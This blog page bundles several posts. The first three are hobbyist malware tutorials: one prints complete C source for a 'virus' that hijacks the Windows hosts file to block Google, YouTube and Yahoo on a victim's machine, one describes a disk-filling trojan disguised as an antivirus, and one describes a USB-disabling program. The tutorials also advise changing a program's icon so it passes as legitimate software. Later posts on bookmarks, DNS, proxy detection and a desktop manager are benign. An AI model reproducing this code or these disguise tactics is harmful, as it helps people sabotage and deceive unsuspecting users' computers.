Tuesday, August 3, 2010

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.
NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.
#include
#include
#include
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
How to Compile ?
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1                                google.com
5. Delete all such entries which contain the names of blocked sites.

How to Make a Trojan Horse

How to Make a Trojan
Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…
Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.
 
Now lets move to the working of our Trojan
The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in theWindows\System32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.
 
The algorithm of the Trojan is as follows
1. Search for the root drive
2. Navigate to WindowsSystem32 on the root drive
3. Create the file named “spceshot.dll
4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full
5. Once the drive is full, stop the process.
You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.
 

How to compile, test and remove the damage?

 
Compilation:
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing:
To test the Trojan,  just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.
NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.
 
How to remove the Damage and free up the space?
To remove the damage and free up the space, just type the following in the “run” dialog box.
%systemroot%\system32
Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.
 NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: How to Change the ICON of an EXE file ?
Please pass your comments and tell me your opinion. I am just waiting for your comments…

A Virus Program to Disable USB Ports

Virus to disable USB portsIn this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.
Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.
1. Download the USB_Block.rar file on to your computer.
2. It contains the following 4 files.
  • block_usb.c (source code)
  • unblock_usb.c (source code)
3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.
3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run theunblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).
I hope you like this post. Please pass your comments.

How to Save Bookmarks in IE, Firefox, Chrome and Opera

Save BookmarksHow would you like to save your bookmarks in IE, Firefox, Opera and Google Chrome so that you can restore them in case if you need to re-install your operating system or move them from one computer to another? This post will show you how to save and restore bookmarks in simple steps.
Bookmarking the favorite web pages can save a lot of time as it becomes almost impossible to remember a list of favorite websites and their URLs. However it can be really frustrating at times when you lose all those saved bookmarks in case if a computer crashes. Also if you are a person who uses more than one computer then it becomes hard to copy all those saved bookmarks one by one manually. So saving the bookmarks can become handy in such situations. Here is how to to do it.
 

Saving a Bookmark file in Internet Explorer

1. From the File menu, select the option Import and Export.
2. Select the option Export to a file and click on Next.
3. In the next screen select Favorites and click on Next.
4. In the next screen again click on Favorites and click on Next.
5. Now choose the destination where you want to save your bookmarks and click on Export.
6. In the next screen click on Finish.
Now you have successfully saved all your bookmarks in a .HTM file. You can use this file to later restore the bookmarks to either IE, Firefox or any other browser. To import the saved bookmarks from a file all you need to do is goto File menu, click on Import and Export, select the option Import from a file and proceed with the screen instructions.
 

Saving a Bookmark file in Firefox

1. From the Bookmarks menu on the top select the option Organize Bookmarks.
2. A window will pop-up. From the window click on Import and Backup at the top and select the optionExport HTML.
3. Now choose the destination where you want to save the bookmark file and click on Save.
To restore this saved file, follow the step-1 and in step-2 select the option Import HTML instead of Export HTML and proceed.
 

Saving a Bookmark file in Google Chrome

1. From the Tools menu, select Bookmark Manager.
2. Click the Organize menu in the manager.
3. Select Export bookmarks.
4. Select the location where you want your exported file to be saved, then click Save
To restore the bookmarks, follow step-1, step-2 and in step-3 select Import bookmarks instead ofExport bookmarks and proceed.
 

Saving a Bookmark file in Opera

1. From the File menu, select the option Import and Export.
2. Scroll over to the pull-down menu on the right and choose Export Bookmarks as HTML.
3. On the next screen, choose the destination folder from the Save in menu text box at the top of the screen.
4. Just click the Save button and you’re done

Hack BSNL Broadband for Speed

If you are a BSNL broadband user, chances are that you are facing frequent DNS issues. Their DNS servers are just unresponsive. The look up takes a long duration and many times just time out. The solution? There is small hack on BSNL for this. Use third party DNS servers instead of BSNL DNS servers or run your own one like djbdns. The easiest options is to use OpenDNS. Just reconfigure your network to use the following DNS servers:

208.67.222.222
208.67.220.220
Detailed instructions specific to operating system or your BSNL modem are available in the OpenDNS website itself. After I reconfigured my BSNL modem to use the above 2 IP addresses, my DNS problems just vanished! Other ‘freebies’ that come with OpenDNS are phishing filters and automatic URL correction. Even if your service provider’s DNS servers are working fine, you can still use OpenDNS just for these two special features. After you hack BSNL DNS servers, you will see a noticeable improvement in your broadband speed.

How to Detect Anonymous IP Addresses

Detect-Proxy
As the fraudsters are now becoming more sophisticated in bypassing the Geo-location controls by using proxies (Anonymous IPs) to spoof their IP address, it has become very much necessary to come up with a means for detecting the proxies so that the authenticity of the users can be verified. Using a proxy (web proxy) is the simplest and easiest way to conceal the IP address of an Internet user and maintain the online privacy. However proxies are more widely used by online fraudsters to engage in cyber crimes since it is the easiest way to hide their actual Geo-location such as city/country through a spoofed IP address. Following are some of the examples where fraudsters use the proxies to hide their actual IP.
 
1. Credit Card Frauds
For example, say a Nigerian fraudster tries to purchase goods online with a stolen credit card for which the billing address is associated with New York. Most credit card merchants use Geo-location to block orders from countries like Nigeria and other high risk countries. So in order to bypass this restriction the credit card fraudster uses a proxy to spoof his IP address so that it appears to have come from New York. The IP address location appears to be legitimate since it is in the same city as the billing address. A proxy check would be needed to flag this order.
 
2. Bypass Website Country Restrictions
Some website services are restricted to users form only a selected list of countries. For example, a paid survey may be restricted only to countries like United States and Canada. So a user from say China may use a proxy so as to make his IP appear to have come from U.S. so that he can earn from participating in the paid survey.
 

Proxy Detection Services

 
So in order to stop such online frauds, Proxy Detection has become a critical component. Today most companies, credit card merchants and websites that deal with e-commerce transactions make use ofProxy Detection Services like MaxMind and FraudLabs to detect the usage of proxy or spoofed IP from users participating online.
Proxy Detection web services allow instant detection of anonymous IP addresses. Even though the use of proxy address by users is not a direct indication of fraudulent behaviour, it can often indicate the intention of the user to hide his or her real IP. In fact, some of the most used ISPs like AOL and MSN are forms of proxies and are used by both good and bad consumers.
 
How Proxy Detection Works?
Proxy detection services often rely on IP addresses to determine whether or not the IP is a proxy. Merchants can obtain the IP address of the users from the HTTP header on the order that comes into their website. This IP address is sent to the proxy detecting service in real time to confirm it’s authenticity.
The proxy detection services on the other hand compare this IP against a known list of flagged IPs that belong to proxy services. If the IP is not on the list then it is authenticated and the confirmation is sent back to the merchant. Otherwise it is reported to be a suspected proxy. These proxy detection services work continuously to grab a list or range of IPs that are commonly used for proxy services. With this it is possible to tell whether or not a given IP address is a proxy or spoofed IP.
 
How to Tell Whether a given IP is Real or a Proxy?
There are a few free sites that help you determine whether or not a given IP is a proxy. You can use free services like WhatisMyIPAddress to detect proxy IPs. Just enter the suspected IP in the field and click on “Lookup IP Address” button to check the IP address. If it is a suspected proxy then you will see the results something as follows.
Detect Anonymous Proxy
So for all those who think that they can escape by using a spoofed IP, this post is the answer. I hope this information helps. Pass your comments.

Dexpot [Download of the Day]

In essence nothing more than a desktop manager that Mac OSX and Linux users are familiar with, Dexpot provides Windows users similar functionality for their operating systems (version 1.5 supports Win 2K and above, while 1.4 supported even Windows 95), which isn’t present even in Windows 7. Until it arrives, those Windows users looking to simplify their interface and organise their workflow have an option: Dexpot.
Absolutely free for private use, Dexpot allows users to create additional workspaces, by allowing the creation of up to 20 separate desktops. The software is extremely flexible, providing many customization options including separate wallpapers, screen resolutions, start-ups macros, and icons for each workspace, as well as user-defined hotkeys for quick access to functions and workspaces.
Those of you who’ve used desktop/workspace managers before will probably not require any explanation as to the uses of such a manager, but here is one anyways. By allowing you to create more than one workspace or desktop, Dexpot allows users to compartmentalize/organize their work and applications onto multiple desktops, and also reduce the clutter. For example, Desktop 1 (these can also be renamed) can be for your email and web-browsing, while Desktop 2 can be for productivity such as spreadsheets and word processors, Desktop 3 solely for entertainment and media, while Desktop 4 is for games, and so on. In fact, you can even create rules for each application, so that even if you open one in the wrong (according to your own categorization) desktop, it will automatically be transferred to the correct/assigned one.
 
Tray Icon Menu
Dexpot, with its numerous customization options and super simple access interface, helps users streamline their workflow while working with numerous windows and applications, with easy switching and auto-organizatio. While it does not actually help the computer in its application process management, the tool is very light on RAM and processor usage, working flawlessly on our Windows 7 (in case you were wondering, version 1.5 onwards offers support for 64-bit operating systems with it), 2GB DDR3 RAM, and 3.1GHz quad-core machine. In fact, with its speed of operation and interesting GUI, it looks like it was born to serve Windows 7 users and Aero.
Settings - click to enlarge
 
General
 
Appearance


Components


Controls

Switching Desktops

Plugins & Extras

The interface is ridiculously easy, and supports various styles of use. If you prefer to use your mouse, all the functions can be accessed with simple right-clicks on the taskbar and tray icon, as well as the useful context menus for every window. You can move and copy windows (applications or explorer windows) from one desktop to another, or let it do Dextop do it automatically for you with preset rules. Dextop also supports plugins that can enhance its functionality, such as the Taskbar Pager, which arranges all your open desktops in a tabular format on your taskbar, for easy one-click access. It is similar to Windows 7 Desktop Preview, where a mouse-over one of the desktops will show it temporarily. It will also flash the relevant desktop button if any application in the minimized desktop wants your attention.
Click to enlarge

4 - desktops

SevenDex

Taskbar Pager

Configure Desktops

SevenDex is another plugin that places a taskbar button on each desktop, and when puts their mouse over it, displays all the open desktops at the moment. DexCube is a GUI plugin, which simply adds cube-spinning graphic transitions between desktops. Slideshow will switch between desktops in user-defined order and intervals, while Wallpaper Clock allows the user to set up a different time for each desktop. 
You can download Dextop from here (builder's page) or here (direct download link), and you can browse all our previous Download of the Day software here